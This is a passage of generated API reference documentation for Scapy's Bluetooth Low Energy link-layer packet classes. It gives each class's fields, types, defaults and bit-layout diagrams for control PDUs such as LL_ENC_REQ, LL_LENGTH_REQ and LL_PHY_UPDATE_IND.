	LEBitField  (20 bits)

	0



	rfu3

	LEBitField  (4 bits)

	0



	sdu_interval_p_to_c

	LEBitField  (20 bits)

	0



	rfu4

	LEBitField  (4 bits)

	0



	max_pdu_c_to_p

	XLEShortField

	0



	max_pdu_p_to_c

	XLEShortField

	0



	nse

	XByteField

	0



	subinterval

	X3BytesField

	0



	bn_c_to_p

	LEBitField  (4 bits)

	0



	bn_p_to_c

	LEBitField  (4 bits)

	0



	ft_c_to_p

	ByteField

	0



	ft_p_to_c

	ByteField

	0



	iso_interval

	XLEShortField

	0



	cis_offset_min

	X3BytesField

	0



	cis_offset_max

	X3BytesField

	0



	conn_event_count

	XLEShortField

	0















	
class scapy.layers.bluetooth4LE.LL_CIS_RSP(_pkt, /, *, cis_offset_min=0, cis_offset_max=0, conn_event_count=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth4LE.py#L742-L748]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         CIS OFFSET MIN                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         CIS OFFSET MAX                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        CONN EVENT COUNT       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. LL_CIS_RSP                          


LL_CIS_RSP fields






	cis_offset_min

	X3BytesField

	0



	cis_offset_max

	X3BytesField

	0



	conn_event_count

	XLEShortField

	0















	
class scapy.layers.bluetooth4LE.LL_CIS_TERMINATE_IND(_pkt, /, *, cig_id=0, cis_id=0, error_code=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth4LE.py#L762-L768]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     CIG ID    |     CIS ID    |   ERROR CODE  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. LL_CIS_TERMINATE_IND                     


LL_CIS_TERMINATE_IND fields






	cig_id

	ByteField

	0



	cis_id

	ByteField

	0



	error_code

	ByteField

	0















	
class scapy.layers.bluetooth4LE.LL_CLOCK_ACCURACY_REQ(_pkt, /, *, sca=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth4LE.py#L697-L701]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      SCA      |
+-+-+-+-+-+-+-+-+

                    Fig. LL_CLOCK_ACCURACY_REQ                    


LL_CLOCK_ACCURACY_REQ fields






	sca

	XByteField

	0















	
class scapy.layers.bluetooth4LE.LL_CLOCK_ACCURACY_RSP(_pkt, /, *, sca=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth4LE.py#L704-L708]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      SCA      |
+-+-+-+-+-+-+-+-+

                    Fig. LL_CLOCK_ACCURACY_RSP                    


LL_CLOCK_ACCURACY_RSP fields






	sca

	XByteField

	0















	
class scapy.layers.bluetooth4LE.LL_CONNECTION_PARAM_REQ(_pkt, /, *, interval_min=6, interval_max=6, latency=0, timeout=0, preferred_periodicity=0, reference_conn_evt_count=0, offset0=0, offset1=0, offset2=0, offset3=0, offset4=0, offset5=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth4LE.py#L562-L577]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          INTERVAL MIN         |          INTERVAL MAX         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            LATENCY            |            TIMEOUT            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|PREFERRED PERIO|    REFERENCE CONN EVT COUNT   |    OFFSET0    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |            OFFSET1            |    OFFSET2    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |            OFFSET3            |    OFFSET4    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |            OFFSET5            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. LL_CONNECTION_PARAM_REQ                   


LL_CONNECTION_PARAM_REQ fields






	interval_min

	XShortField

	6



	interval_max

	XShortField

	6



	latency

	XShortField

	0



	timeout

	XShortField

	0



	preferred_periodicity

	XByteField

	0



	reference_conn_evt_count

	XShortField

	0



	offset0

	XShortField

	0



	offset1

	XShortField

	0



	offset2

	XShortField

	0



	offset3

	XShortField

	0



	offset4

	XShortField

	0



	offset5

	XShortField

	0















	
class scapy.layers.bluetooth4LE.LL_CONNECTION_PARAM_RSP(_pkt, /, *, interval_min=6, interval_max=6, latency=0, timeout=0, preferred_periodicity=0, reference_conn_evt_count=0, offset0=0, offset1=0, offset2=0, offset3=0, offset4=0, offset5=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth4LE.py#L580-L595]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          INTERVAL MIN         |          INTERVAL MAX         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            LATENCY            |            TIMEOUT            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|PREFERRED PERIO|    REFERENCE CONN EVT COUNT   |    OFFSET0    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |            OFFSET1            |    OFFSET2    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |            OFFSET3            |    OFFSET4    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |            OFFSET5            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. LL_CONNECTION_PARAM_RSP                   


LL_CONNECTION_PARAM_RSP fields






	interval_min

	XShortField

	6



	interval_max

	XShortField

	6



	latency

	XShortField

	0



	timeout

	XShortField

	0



	preferred_periodicity

	XByteField

	0



	reference_conn_evt_count

	XShortField

	0



	offset0

	XShortField

	0



	offset1

	XShortField

	0



	offset2

	XShortField

	0



	offset3

	XShortField

	0



	offset4

	XShortField

	0



	offset5

	XShortField

	0















	
class scapy.layers.bluetooth4LE.LL_CONNECTION_UPDATE_IND(_pkt, /, *, win_size=0, win_offset=0, interval=6, latency=0, timeout=50, instant=6)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth4LE.py#L456-L465]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    WIN SIZE   |           WIN OFFSET          |    INTERVAL   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |            LATENCY            |    TIMEOUT    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |            INSTANT            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. LL_CONNECTION_UPDATE_IND                   


LL_CONNECTION_UPDATE_IND fields






	win_size

	XByteField

	0



	win_offset

	XLEShortField

	0



	interval

	XLEShortField

	6



	latency

	XLEShortField

	0



	timeout

	XLEShortField

	50



	instant

	XLEShortField

	6















	
class scapy.layers.bluetooth4LE.LL_CTE_REQ(_pkt, /, *, min_cte_len_req=0, rfu=0, cte_type_req=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth4LE.py#L667-L673]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|MIN CTE L|R|CTE|
+-+-+-+-+-+-+-+-+

                         Fig. LL_CTE_REQ                          


LL_CTE_REQ fields






	min_cte_len_req

	LEBitField  (5 bits)

	0



	rfu

	LEBitField  (1 bit)

	0



	cte_type_req

	LEBitField  (2 bits)

	0















	
class scapy.layers.bluetooth4LE.LL_CTE_RSP(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth4LE.py#L676-L678]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	








	
class scapy.layers.bluetooth4LE.LL_ENC_REQ(_pkt, /, *, rand=0, ediv=0, skdm=0, ivm=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth4LE.py#L483-L490]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              RAND                             |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              EDIV             |              SKDM             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |              IVM              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. LL_ENC_REQ                          


LL_ENC_REQ fields






	rand

	XLELongField

	0



	ediv

	XLEShortField

	0



	skdm

	XLELongField

	0



	ivm

	XLEIntField

	0















	
class scapy.layers.bluetooth4LE.LL_ENC_RSP(_pkt, /, *, skds=0, ivs=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth4LE.py#L493-L498]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              SKDS                             |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              IVS                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. LL_ENC_RSP                          


LL_ENC_RSP fields






	skds

	XLELongField

	0



	ivs

	XLEIntField

	0















	
class scapy.layers.bluetooth4LE.LL_FEATURE_REQ(_pkt, /, *, feature_set=<Flag 0 ()>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth4LE.py#L517-L521]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          FEATURE SET                          |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. LL_FEATURE_REQ                        


LL_FEATURE_REQ fields






	feature_set

	BTLEFeatureField

	<Flag 0 ()>















	
class scapy.layers.bluetooth4LE.LL_FEATURE_RSP(_pkt, /, *, feature_set=<Flag 0 ()>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth4LE.py#L524-L528]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          FEATURE SET                          |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. LL_FEATURE_RSP                        


LL_FEATURE_RSP fields






	feature_set

	BTLEFeatureField

	<Flag 0 ()>















	
class scapy.layers.bluetooth4LE.LL_LENGTH_REQ(_pkt, /, *, max_rx_bytes=251, max_rx_time=2120, max_tx_bytes=251, max_tx_time=2120)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth4LE.py#L614-L621]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          MAX RX BYTES         |          MAX RX TIME          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          MAX TX BYTES         |          MAX TX TIME          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. LL_LENGTH_REQ                        


LL_LENGTH_REQ fields






	max_rx_bytes

	XLEShortField

	251



	max_rx_time

	XLEShortField

	2120



	max_tx_bytes

	XLEShortField

	251



	max_tx_time

	XLEShortField

	2120















	
class scapy.layers.bluetooth4LE.LL_LENGTH_RSP(_pkt, /, *, max_rx_bytes=251, max_rx_time=2120, max_tx_bytes=251, max_tx_time=2120)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth4LE.py#L624-L631]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          MAX RX BYTES         |          MAX RX TIME          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          MAX TX BYTES         |          MAX TX TIME          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. LL_LENGTH_RSP                        


LL_LENGTH_RSP fields






	max_rx_bytes

	XLEShortField

	251



	max_rx_time

	XLEShortField

	2120



	max_tx_bytes

	XLEShortField

	251



	max_tx_time

	XLEShortField

	2120















	
class scapy.layers.bluetooth4LE.LL_MIN_USED_CHANNELS_IND(_pkt, /, *, phys=<Flag 0 ()>, min_used_channels=2)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth4LE.py#L659-L664]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      PHYS     |MIN USED CHANNE|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. LL_MIN_USED_CHANNELS_IND                   


LL_MIN_USED_CHANNELS_IND fields






	phys

	BTLEPhysField

	<Flag 0 ()>



	min_used_channels

	ByteField

	2















	
class scapy.layers.bluetooth4LE.LL_PAUSE_ENC_REQ(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth4LE.py#L531-L532]

	Bases: Packet


	
aliastypes

	








	
class scapy.layers.bluetooth4LE.LL_PAUSE_ENC_RSP(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth4LE.py#L535-L536]

	Bases: Packet


	
aliastypes

	








	
class scapy.layers.bluetooth4LE.LL_PERIODIC_SYNC_IND(_pkt, /, *, id=251, sync_info=0, conn_event_count=0, last_pa_event_counter=0, sid=0, a_type=0, sca=0, phy=<Flag 0 ()>, AdvA=None, sync_conn_event_count=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth4LE.py#L681-L694]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               ID              |           SYNC INFO           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        CONN EVENT COUNT       |     LAST PA EVENT COUNTER     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  SID  |A| SCA |      PHY      |              ADVA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     SYNC CONN EVENT COUNT     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. LL_PERIODIC_SYNC_IND                     


LL_PERIODIC_SYNC_IND fields






	id

	XLEShortField

	251



	sync_info

	LEBitField  (144 bits)

	0



	conn_event_count

	XLEShortField

	0



	last_pa_event_counter

	XLEShortField

	0



	sid

	LEBitField  (4 bits)

	0



	a_type

	LEBitField  (1 bit)

	0



	sca

	LEBitField  (3 bits)

	0



	phy

	BTLEPhysField

	<Flag 0 ()>



	AdvA

	BDAddrField

	None



	sync_conn_event_count

	XLEShortField

	0















	
class scapy.layers.bluetooth4LE.LL_PHY_REQ(_pkt, /, *, tx_phys=<Flag 0 ()>, rx_phys=<Flag 0 ()>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth4LE.py#L634-L639]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    TX PHYS    |    RX PHYS    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. LL_PHY_REQ                          


LL_PHY_REQ fields






	tx_phys

	BTLEPhysField

	<Flag 0 ()>



	rx_phys

	BTLEPhysField

	<Flag 0 ()>















	
class scapy.layers.bluetooth4LE.LL_PHY_RSP(_pkt, /, *, tx_phys=<Flag 0 ()>, rx_phys=<Flag 0 ()>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth4LE.py#L642-L647]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    TX PHYS    |    RX PHYS    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. LL_PHY_RSP                          


LL_PHY_RSP fields






	tx_phys

	BTLEPhysField

	<Flag 0 ()>



	rx_phys

	BTLEPhysField

	<Flag 0 ()>















	
class scapy.layers.bluetooth4LE.LL_PHY_UPDATE_IND(_pkt, /, *, tx_phy=<Flag 0 ()>, rx_phy=<Flag 0 ()>, instant=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth4LE.py#L650-L656]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     TX PHY    |     RX PHY    |            INSTANT            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. LL_PHY_UPDATE_IND                      


LL_PHY_UPDATE_IND fields






	tx_phy

	BTLEPhysField

	<Flag 0 ()>



	rx_phy

	BTLEPhysField

	<Flag 0 ()>



	instant

	XShortField

	0















	
class scapy.layers.bluetooth4LE.LL_PING_REQ(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth4LE.py#L606-L607]

	Bases: Packet


	
aliastypes

	








	
class scapy.layers.bluetooth4LE.LL_PING_RSP(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth4LE.py#L610-L611]

	Bases: Packet


	
aliastypes

	








	
class scapy.layers.bluetooth4LE.LL_POWER_CHANGE_IND(_pkt, /, *, phy=0, min=0, max=0, rfu=0, delta=0, tx_power=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth4LE.py#L792-L801]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      PHY      |M|M|    RFU    |     DELTA     |    TX POWER   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. LL_POWER_CHANGE_IND                     


LL_POWER_CHANGE_IND fields






	phy

	ByteField

	0



	min

	LEBitField  (1 bit)

	0



	max

	LEBitField  (1 bit)

	0



	rfu

	LEBitField  (6 bits)

	0



	delta

	SignedByteField

	0



	tx_power

	ByteField

	0















	
class scapy.layers.bluetooth4LE.LL_POWER_CONTROL_REQ(_pkt, /, *, phy=0, delta=0, tx_power=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth4LE.py#L771-L777]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      PHY      |     DELTA     |    TX POWER   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. LL_POWER_CONTROL_REQ                     


LL_POWER_CONTROL_REQ fields






	phy

	ByteField

	0



	delta

	SignedByteField

	0



	tx_power

	SignedByteField

	0















	
class scapy.layers.bluetooth4LE.LL_POWER_CONTROL_RSP(_pkt, /, *, min=0, max=0, rfu=0, delta=0, tx_power=0, apr=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth4LE.py#L780-L789]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|M|M|    RFU    |     DELTA     |    TX POWER   |      APR      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. LL_POWER_CONTROL_RSP                     


LL_POWER_CONTROL_RSP fields






	min

	LEBitField  (1 bit)

	0



	max

	LEBitField  (1 bit)

	0



	rfu

	LEBitField  (6 bits)

	0



	delta

	SignedByteField

	0



	tx_power

	SignedByteField

	0



	apr

	ByteField

	0















	
class scapy.layers.bluetooth4LE.LL_REJECT_EXT_IND(_pkt, /, *, reject_opcode=0, error_code=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth4LE.py#L598-L603]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| REJECT OPCODE |   ERROR CODE  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. LL_REJECT_EXT_IND                      


LL_REJECT_EXT_IND fields






	reject_opcode

	XByteField

	0



	error_code

	XByteField

	0















	
class scapy.layers.bluetooth4LE.LL_REJECT_IND(_pkt, /, *, code=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth4LE.py#L548-L552]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      CODE     |
+-+-+-+-+-+-+-+-+

                        Fig. LL_REJECT_IND                        


LL_REJECT_IND fields






	code

	XByteField

	0















	
class scapy.layers.bluetooth4LE.LL_SLAVE_FEATURE_REQ(_pkt, /, *, feature_set=<Flag 0 ()>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth4LE.py#L555-L559]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          FEATURE SET                          |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

